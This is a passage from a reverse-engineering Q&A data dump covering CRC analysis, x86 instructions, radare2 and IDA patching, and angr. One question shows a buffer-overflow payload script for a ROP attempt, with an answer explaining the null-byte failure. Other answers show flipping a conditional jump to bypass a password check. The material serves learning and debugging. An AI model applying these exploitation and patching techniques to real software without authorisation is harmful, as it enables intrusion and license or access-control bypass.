8d93&#xA;&#xA;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0441 00601f55 53 789f&#xA;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0501 00601f55 52 bacf&#xA;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0661 00601f55 51 493e&#xA;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0721 00601f55 50 8b6e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Gaussian elimination, I verified that all the question's 93 given distinct lines are consistent with an affine function, and determined the influence on the rightmost two bytes of the 13 bits that vary in the rest of the frame. Therefore, the whole data set becomes equivalent to (any) one of it lines, and the following short table telling the influence on the FCS of toggling each of the 13 bits: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte  byte    FCS influence&#xA;index mask    (bytes 24 and 25)&#xA; 17   0x10    0x157F&#xA; 17   0x08    0x1BBD&#xA; 17   0x04    0x0DDE&#xA; 17   0x02    0x06EF&#xA; 17   0x01    0x1275&#xA; 18   0x80    0x9028&#xA; 18   0x40    0xC004&#xA; 18   0x20    0x3508&#xA; 23   0x10    0x1231&#xA; 23   0x08    0x0918&#xA; 23   0x04    0x048C&#xA; 23   0x02    0x0246&#xA; 23   0x01    0x1021&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is enough to compute the FCS of 2&lt;sup&gt;13&lt;/sup&gt; different frames, starting from that of the reference frame, and XORing its FCS with the FCS influence for any bit that differs from the reference frame. The code is only a few lines of C. That works for any affine function when we have adequate examples. We need one example frame per frame bit excluding FCS when we can choose the example frames, and typically only a few more frames for uniformly random frames.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is further regularity in there! The FCS influence for the 5 bits of byte 23 is precisely that expected for the CRC-16-CCITT polynomial &lt;em&gt;x&lt;/em&gt;&lt;sup&gt;16&lt;/sup&gt;+&lt;em&gt;x&lt;/em&gt;&lt;sup&gt;12&lt;/sup&gt;+&lt;em&gt;x&lt;/em&gt;&lt;sup&gt;5&lt;/sup&gt;+1 (when using big-endian convention): the influence of bit &lt;em&gt;i&lt;/em&gt; counting from the right (here 26*8-1-&lt;em&gt;n&lt;/em&gt; with &lt;em&gt;n&lt;/em&gt; from the left and 0-based) is the value obtained by computing the remainder of the polynomial division of &lt;em&gt;x&lt;/em&gt;&lt;sup&gt;&lt;em&gt;i&lt;/em&gt;&lt;/sup&gt; by &lt;em&gt;x&lt;/em&gt;&lt;sup&gt;16&lt;/sup&gt;+&lt;em&gt;x&lt;/em&gt;&lt;sup&gt;12&lt;/sup&gt;+&lt;em&gt;x&lt;/em&gt;&lt;sup&gt;5&lt;/sup&gt;+1, and turning the remainder polynomial to a value by evaluating it for &lt;em&gt;x&lt;/em&gt;=2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g., for influence of byte 23 mask 0x10, evaluating the remainder of the polynomial division of &lt;em&gt;x&lt;/em&gt;&lt;sup&gt;20&lt;/sup&gt; by &lt;em&gt;x&lt;/em&gt;&lt;sup&gt;16&lt;/sup&gt;+&lt;em&gt;x&lt;/em&gt;&lt;sup&gt;12&lt;/sup&gt;+&lt;em&gt;x&lt;/em&gt;&lt;sup&gt;5&lt;/sup&gt;+1 , or equivalently &lt;code&gt;0x100000&lt;/code&gt; by &lt;code&gt;0x011021&lt;/code&gt;, goes &lt;code&gt;0x100000^(0x011021&amp;lt;&amp;lt;4) = 0x010210&lt;/code&gt; then &lt;code&gt;0x010210^(0x011021&amp;lt;&amp;lt;0) = 0x1231&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One possibility is that this FCS is one of countless failed attempts to implement CRC-16-CCITT; though one that went unusually out of track, in a way that still puzzles me. I'm tempted to incriminate a partial or misaligned capture, but that tends to conflicts with the statement:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When I 'replay' the collected messages the lamp reacts as expected.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More samples might help. Perhaps, put this into a &lt;a href=&quot;https://pastebin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pastebin&lt;/a&gt; linked in the question or a comment. Perhaps, give settings of the &lt;a href=&quot;https://github.com/blueardour/circus/blob/master/Datasheet/Wireless/NORDIC/nRF24L01_Product_Specification_v2_0.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;NRF24L01&lt;/a&gt; device and/or software used for the capture.&lt;/p&gt;&#xA;" OwnerUserId="3035" LastEditorUserId="3035" LastEditDate="2019-01-14T08:27:56.280" LastActivityDate="2019-01-14T08:27:56.280" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20332" PostTypeId="1" CreationDate="2019-01-10T20:31:37.507" Score="2" ViewCount="452" Body="&lt;p&gt;I am trying to get a ROP exploit to work on Ubuntu 18.04 LTS 64bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 64 bit binary &lt;strong&gt;(Nx enabled, ASLR disabled)&lt;/strong&gt; with vuln function as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public vuln&#xA;vuln proc near&#xA;&#xA;var_100= byte ptr -100h&#xA;&#xA;push    rbp&#xA;mov     rbp, rsp&#xA;sub     rsp, 100h&#xA;lea     rdi, s          ; &quot;Gimme some data!&quot;&#xA;call    _puts&#xA;lea     rax, [rbp+var_100]&#xA;mov     rdi, rax&#xA;mov     eax, 0&#xA;call    _gets&#xA;nop&#xA;leave&#xA;retn&#xA;vuln endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to overwrite the return pointer of vuln function with the libc base address where I will write parameters for execve call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buffer is 264 bytes long. So with 272 'A' I get the following position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x55555555471d &amp;lt;vuln+45&amp;gt;    ret    &amp;lt;0x4141414141414141&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00:0000│ rsp  0x7fffffffe2c8 ◂— 'AAAAAAAA'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try to overflow with the libc address(0x7ffff7a3a000) it is giving a SIGSEGV and it is behaving the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x55555555471d &amp;lt;vuln+45&amp;gt;    ret    &amp;lt;0x3061785c3030785c&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00:0000│ rsp r11-6  0x7fffffffe2c8 ◂— 0x3061785c3030785c ('\\x00\\xa0')&#xA;01:0008│            0x7fffffffe2d0 ◂— 0xefbdbfef3361785c&#xA;02:0010│            0x7fffffffe2d8 ◂— 0x3030785cbdbf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dont know where am I going wrong!!!! I have put so many days in it but to no extent. I have done buffer overflow before but never encountered this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my python script that is generating the payload (this is only to overflow the return address):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python2&#xA;&#xA;from pwn import *&#xA;&#xA;payload = 'A' * 264&#xA;payload += p64(0x7ffff7a3a000)&#xA;&#xA;print(payload)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27008" LastEditorUserId="27008" LastEditDate="2019-01-10T20:37:06.540" LastActivityDate="2019-01-12T04:43:06.093" Title="ROP chain: Buffer Overflow Return Pointer" Tags="|binary-analysis|gdb|python|buffer-overflow|rop|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20333" PostTypeId="1" CreationDate="2019-01-10T23:31:01.723" Score="1" ViewCount="423" Body="&lt;p&gt;I'm disassembling a 16-bit DOS executable, and looking at the following three instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dx,0x3ce&#xA;mov ax,0xff08&#xA;out dx,ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it writes the value &lt;code&gt;0xff08&lt;/code&gt; to I/O port &lt;code&gt;0x3ce&lt;/code&gt;. I also know that port &lt;code&gt;0x3ce&lt;/code&gt; is the &quot;Graphics 1 &amp;amp; 2 Address&quot; register on an IBM EGA card. Problem is, according to the &lt;a href=&quot;http://www.minuszerodegrees.net/oa/OA%20-%20IBM%20Enhanced%20Graphics%20Adapter.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;, this port should take a byte value, not a word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm guessing is happening is that the word &lt;code&gt;0xff08&lt;/code&gt; is taken as two different bytes, where one byte ends up in the specified register and the other goes to an adjacent one. Or maybe the offending byte gets thrown out? Either way it's a guess, as I can't seem to find much info about this specific behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a good intuitive sense about which direction the I/O address space flows, or how the little-endian storage of the word may come into play. After this snippet executes, which ports got which bytes?&lt;/p&gt;&#xA;" OwnerUserId="25711" LastActivityDate="2019-01-11T00:06:59.393" Title="How is the I/O address space on the PC arranged?" Tags="|disassembly|x86|address|graphics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20334" PostTypeId="1" CreationDate="2019-01-11T00:05:20.220" Score="1" ViewCount="59" Body="&lt;p&gt;I have 4 different types of USB 3G modems from Europe. They're not operator locked. I'm trying to use them on an American network for 3G connectivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though they state &quot;850, 900, 1800, 1900 MHz&quot; bands in their specs, and my network supposedly has UMTS on 850 MHz, I can only get a 2G (EDGE) connection and furthermore, they all detect my SIM card as out of network and put me in &quot;roaming&quot; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found out that the radios in these things are usually universal but the band limits are only in software. Therefore I was wondering if there would be any way (through undocumented AT commands or firmware flashing) I could get either one of these modems to switch allowed bands and let me get 3G speeds in North America.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any resources where I can get AT command lists and/or different region firmware for these devices? Or is there anyone that could maybe point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the devices I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Huawei E3131&lt;/li&gt;&#xA;&lt;li&gt;Huawei E353&lt;/li&gt;&#xA;&lt;li&gt;ZTE MF190&lt;/li&gt;&#xA;&lt;li&gt;D-Link DWM-156&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried flashing different versions of firmware and/or googling AT commands to change bands on some of these, but at the end, the moment I switch mode to 3G I get &quot;no service&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated...&lt;/p&gt;&#xA;" OwnerUserId="27053" LastActivityDate="2019-01-11T00:05:20.220" Title="USB 3G Stick changing frequency bands" Tags="|firmware|usb|" AnswerCount="0" CommentCount="0" ClosedDate="2019-01-12T18:22:42.410" ContentLicense="CC BY-SA 4.0" />
  <row Id="20335" PostTypeId="2" ParentId="20333" CreationDate="2019-01-11T00:06:59.393" Score="2" Body="&lt;p&gt;Port I/O works similar to memory I/O, so the low byte (08) will be written to the port 3CE and the high byte (0xFF) to the port 3CF. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from &lt;a href=&quot;http://www.retroarchive.org/swag/EGAVGA/0222.PAS.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Use of bitplanes in mode 12h&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The index port of the Graphics Controller (part of the VGA interface) is at&#xA;  $3CE. The data port is at (index+1), so $3CF. If we want to write a 4 to index&#xA;  2, we do: Port[$3CE]:=2; { index } Port[$3CF]:=4; { data }&#xA;  But there is a way to do it with one Port[]. There's also a PortW[] 'array',&#xA;  and if the addressed port isn't a 16-bit one, it sends the lo byte to&#xA;  address, and the high byte to address+1. Just what we need. The example&#xA;  becomes: PortW[$3CE]:=$0402; { index in low byte, data in high byte }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-01-11T00:06:59.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20336" PostTypeId="1" AcceptedAnswerId="20337" CreationDate="2019-01-11T03:48:23.600" Score="0" ViewCount="1311" Body="&lt;p&gt;I'm new to radare2 here. Just started learning and I was trying out a challenge. What does the 3 columns in the radare2 visual mode represent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May I know how the command below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wa je 0x400976 @0x00400968&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;changes &lt;code&gt;760c&lt;/code&gt; to &lt;code&gt;740c&lt;/code&gt; and &lt;code&gt;jne 0x400976&lt;/code&gt; to &lt;code&gt;je 0x400976&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what does that accomplish?&#xA;Does it just bypass the function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;full program&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Qp8kf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qp8kf.png&quot; alt=&quot;full program&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;command&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HMmEr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HMmEr.jpg&quot; alt=&quot;radare2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27055" LastEditorUserId="18014" LastEditDate="2019-01-11T06:51:14.833" LastActivityDate="2019-01-11T07:50:06.983" Title="How does this command modify the condition?" Tags="|radare2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20337" PostTypeId="2" ParentId="20336" CreationDate="2019-01-11T06:50:03.637" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What does the 3 columns in the radare2 visual mode represent?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first one is an address of the instruction, then opcodes followed by mnemonic. On the far left you have also some arrows indicating jumps and on the far right there are comments.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;May I know how the command below:&lt;br /&gt;&#xA;   wa je 0x400976 @0x00400968&lt;br /&gt;&#xA;   changes 760c to 740c and jne 0x400976 to je 0x400976?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wa&lt;/code&gt; command, which you could check by requesting help in r2, is a command that writes the opcode of the provided mnemonic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| wa[?] push ebp       write opcode, separated by ';' (use '&quot;' around the command)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So executing &lt;code&gt;wa je 0x400976 @0x00400968&lt;/code&gt; will write the opcodes for the &lt;code&gt;je 0x400976&lt;/code&gt; at the address of &lt;code&gt;0x400968&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And actually it changes from &lt;code&gt;750c&lt;/code&gt;, and that is the opcode of the jump-not-equal with the offset of &lt;code&gt;0xC&lt;/code&gt; bytes. You requested (by issuing the command &lt;code&gt;wa&lt;/code&gt;) to write on that spot the jump-if-equal and the opcode of this is &lt;code&gt;74&lt;/code&gt;. The offset stays the same.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, what does that accomplish? Does it just bypass the function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It changes the condition so from now on the jump will be taken when the strings that are being compared (@&lt;code&gt;0x400961&lt;/code&gt;) are equal and not taken if they are different. This also happens to the string being printed at offset &lt;code&gt;0x400971&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the first question this is nor really radare2 specific stuff. It looks like you should start with some basic assembly and/or RE topics/tutorials that are plenty on the internet.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-01-11T06:50:03.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20338" PostTypeId="1" AcceptedAnswerId="20343" CreationDate="2019-01-11T07:33:51.557" Score="4" ViewCount="2465" Body="&lt;p&gt;I have been trying to figure out exactly what is happening with these instructions and can't make sense of them. I can see that the PSHUFLW instruction acts upon the first 16 bytes of the XMM register but can not figure it out. I have read the decription in the &lt;a href=&quot;https://www.scss.tcd.ie/~jones/CS4021/41417-319433-012.pdf&quot; rel=&quot;noreferrer&quot;&gt;Intel® Architecture Instruction Set Extensions Programming Reference &lt;/a&gt; but just can't seem to get it. I am a very visual person so any help would be greatly appreciated. I have run some tests using the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxm0 = 00000000000000000000000000003E2D&#xA;PSHUFLW xmm0, xmm0, N&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have the following results &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; N = 0, output = 00000000000000003E2D3E2D3E2D3E2D&#xA; N = 1, output = 00000000000000003E2D3E2D3E2D0000&#xA; N = 2, output = 00000000000000003E2D3E2D3E2D0000&#xA; N = 3, output = 00000000000000003E2D3E2D3E2D0000&#xA; N = 4, output = 00000000000000003E2D3E2D00003E2D&#xA; N = 5, output = 00000000000000003E2D3E2D00000000&#xA; N = 6, output = 00000000000000003E2D3E2D00000000&#xA; N = 7, output = 00000000000000003E2D3E2D00000000&#xA; N = 8, output = 00000000000000003E2D3E2D00003E2D&#xA; N = 9, output = 00000000000000003E2D3E2D00000000&#xA; N = 10, output = 00000000000000003E2D00003E2D3E2D&#xA; N = 11, output = 00000000000000003E2D00003E2D0000&#xA; N = 12, output = 00000000000000003E2D00003E2D0000&#xA; N = 13, output = 00000000000000003E2D00003E2D0000&#xA; N = 14, output = 00000000000000003E2D000000003E2D&#xA; N = 15, output = 00000000000000003E2D000000000000&#xA; N = 16, output = 00000000000000003E2D000000000000&#xA; N = 17, output = 00000000000000003E2D000000000000&#xA; N = 18, output = 00000000000000003E2D000000003E2D&#xA; N = 19, output = 00000000000000003E2D000000000000&#xA; N = 20, output = 00000000000000003E2D00003E2D3E2D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to know how these instructions work, and maybe a visual guide on future instructions similar to this. I have only been reversing for a couple of weeks so I am very fresh. Thanks for any help you can provide.&lt;/p&gt;&#xA;" OwnerUserId="27056" LastActivityDate="2019-01-12T21:33:45.737" Title="How do the PSHUFLW and PSHUFD instructions work?" Tags="|disassembly|x86|register|intel|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20339" PostTypeId="2" ParentId="20336" CreationDate="2019-01-11T07:50:06.983" Score="0" Body="&lt;p&gt;You can check the official &lt;a href=&quot;https://radare.gitbooks.io/radare2book&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare 2 Book&lt;/a&gt; where you should find the first steps as well as the basic command to go. The write command is described &lt;a href=&quot;https://radare.gitbooks.io/radare2book/basic_commands/write.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another resouce I found so useful when I started learning r2 is &lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the two part tutorial&lt;/a&gt; Megabeets wrote about a simple crackme.&lt;/p&gt;&#xA;" OwnerUserId="27057" LastActivityDate="2019-01-11T07:50:06.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20340" PostTypeId="1" AcceptedAnswerId="20342" CreationDate="2019-01-11T14:01:34.617" Score="1" ViewCount="4047" Body="&lt;p&gt;I have created a very basic golang program which display a message with fmt.Println().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what is see in radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rcx, obj.main.statictmp_0 ; 0x4c84b0 ; &quot;y[K&quot;&#xA;mov qword [local_48h], rcx&#xA;lea rcx, [local_40h]        ; 0x40 ; '@' ; 64&#xA;mov qword [rsp], rcx&#xA;mov qword [local_8h], 1&#xA;mov qword [local_10h], 1&#xA;call sym.fmt.Println&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose obj.main.statictmp_0 contains my string message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps @obj.main.statictmp_0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it does not display my message.&#xA;Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2019-01-11T18:19:04.900" Title="Print string at address with radare2" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20342" PostTypeId="2" ParentId="20340" CreationDate="2019-01-11T18:19:04.900" Score="0" Body="&lt;p&gt;use &lt;code&gt;pf S @obj.main.statictmp_0&lt;/code&gt;. string length is at address &lt;code&gt;@obj.main.statictmp_0+8&lt;/code&gt; if using 64bit or &lt;code&gt;@obj.main.statictmp_0+4&lt;/code&gt; if using 32bit!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pf S @obj.main.statictmp_0   ; gives you string&#xA;pf p @obj.main.statictmp_0+8 ; gives you string length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12687" LastActivityDate="2019-01-11T18:19:04.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20343" PostTypeId="2" ParentId="20338" CreationDate="2019-01-11T20:27:18.983" Score="6" Body="&lt;p&gt;The visual story of PSHUFLW is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iGSnL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iGSnL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I will use &lt;code&gt;Position&lt;/code&gt; as same mean as &lt;code&gt;Order&lt;/code&gt; here and starts from Zero (Zero-Indexed).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see it selects words from source based on value of N. The Order/Position of selection will be chosen by 2 bit values of N. for example when N=4, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;According to first bite (2-bits) of N (= 00), it will select &lt;code&gt;word&lt;/code&gt; at position/order 0 of source and copies it in Position 0 of destination.&lt;/li&gt;&#xA;&lt;li&gt;According to second bite (2-bits) of N (= 01), it will select &lt;code&gt;word&lt;/code&gt; at position/order 1 of source and copies it in 1st Position of destination.&lt;/li&gt;&#xA;&lt;li&gt;According to third bite (2-bits) of N (= 00), it will select &lt;code&gt;word&lt;/code&gt; at position/order 0 of source and copies it in 2nd Position of destination.&lt;/li&gt;&#xA;&lt;li&gt;According to fourth bite (2-bits) of N (= 00), it will select &lt;code&gt;word&lt;/code&gt; at position/order 0 of source and copies it in 3rd Position of destination.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Next example when N=17,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;According to first bite (2-bits) of N (= 01), it will select &lt;code&gt;word&lt;/code&gt; at position/order 1 of source and copies it in Position 0 of destination.&lt;/li&gt;&#xA;&lt;li&gt;According to second bite (2-bits) of N (= 00), it will select &lt;code&gt;word&lt;/code&gt; at position/order 0 of source and copies it in 1st Position of destination.&lt;/li&gt;&#xA;&lt;li&gt;According to third bite (2-bits) of N (= 01), it will select &lt;code&gt;word&lt;/code&gt; at position/order 1 of source and copies it in 2nd Position of destination.&lt;/li&gt;&#xA;&lt;li&gt;According to fourth bite (2-bits) of N (= 00), it will select &lt;code&gt;word&lt;/code&gt; at position/order 0 of source and copies it in 3rd Position of destination.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PS: your output for N=17 in above question is wrong! PSHUFD is just same except it will select doublewords from source and copies in destination. so low and high quadword in PSHUFD will be used while in PSHUFLW the low quadword used.&lt;/p&gt;&#xA;" OwnerUserId="12687" LastEditorUserId="12687" LastEditDate="2019-01-12T21:33:45.737" LastActivityDate="2019-01-12T21:33:45.737" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20344" PostTypeId="2" ParentId="20332" CreationDate="2019-01-12T04:43:06.093" Score="1" Body="&lt;p&gt;The zero in the address that you are passing is causing the string to be terminated and the following values to not be stored.  You won't be able to return directly to libc that way.  Instead, you'll need a different address that can either branch to libc directly (but contains no zeroes in the address), or which can push that value for you before performing a ret itself.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2019-01-12T04:43:06.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20349" PostTypeId="1" AcceptedAnswerId="20350" CreationDate="2019-01-12T19:12:48.767" Score="1" ViewCount="8572" Body="&lt;p&gt;I am new with IDA assembler and i used to work with hopper app.&#xA;the problem is i can't change instruction in IDA from something like CBNZ to NOP.&#xA;is there any button to do this? i can't find anything on the internet and I have been searching for it all day.&#xA;I have tried many options from the edit menu.&lt;/p&gt;&#xA;" OwnerUserId="27070" LastEditorUserId="245" LastEditDate="2019-01-14T09:43:44.363" LastActivityDate="2022-07-25T19:32:39.103" Title="how should i change an instruction to NOP in IDA?" Tags="|ida|assembly|arm|ios|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20350" PostTypeId="2" ParentId="20349" CreationDate="2019-01-13T03:41:41.853" Score="6" Body="&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I'm assuming you're using IDA 7.X, although this should work equally well for 6.X versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option you're looking for is called &lt;code&gt;Patch Program&lt;/code&gt;. For your specific question, you'd do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the instruction you want to change&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Edit -&amp;gt; Patch Program -&amp;gt; Assemble&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Replace the instruction in the text box with the instruction you'd like it to be.&lt;/li&gt;&#xA;&lt;li&gt;Click OK&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The original instruction will now have been replaced with the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://resources.infosecinstitute.com/ida-program-patching/&quot; rel=&quot;noreferrer&quot;&gt;This article&lt;/a&gt; has more info and examples of using the other options in the &lt;code&gt;Patch Program&lt;/code&gt; submenu.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2019-01-13T03:41:41.853" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20352" PostTypeId="1" CreationDate="2019-01-13T09:27:08.260" Score="2" ViewCount="538" Body="&lt;p&gt;Here is a very basic golang program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package main&#xA;import &quot;fmt&quot;&#xA;&#xA;func main() {&#xA;    var s1 string&#xA;    fmt.Scanln(&amp;amp;s1)&#xA;&#xA;    if s1==&quot;goodpassword&quot; {&#xA;        fmt.Println(&quot;Good&quot;)&#xA;    } else {&#xA;        fmt.Println(&quot;Wrong&quot;)&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have compiled this program (elf64 linux binary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have diasssembled the binary and i have found the addresses of the 2 fmt.Println calls: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x00490d4f     lea rax, obj.main.statictmp_1    ; wrong&#xA;...&#xA;0x00490d99     lea rax, obj.main.statictmp_0    ; good&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, i have wrote this python program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;from angr.state_plugins import SimSystemPosix&#xA;&#xA;p = angr.Project('./mybinary')&#xA;&#xA;sm = p.factory.simulation_manager()&#xA;sm.explore(find= 0x00490d99, avoid= 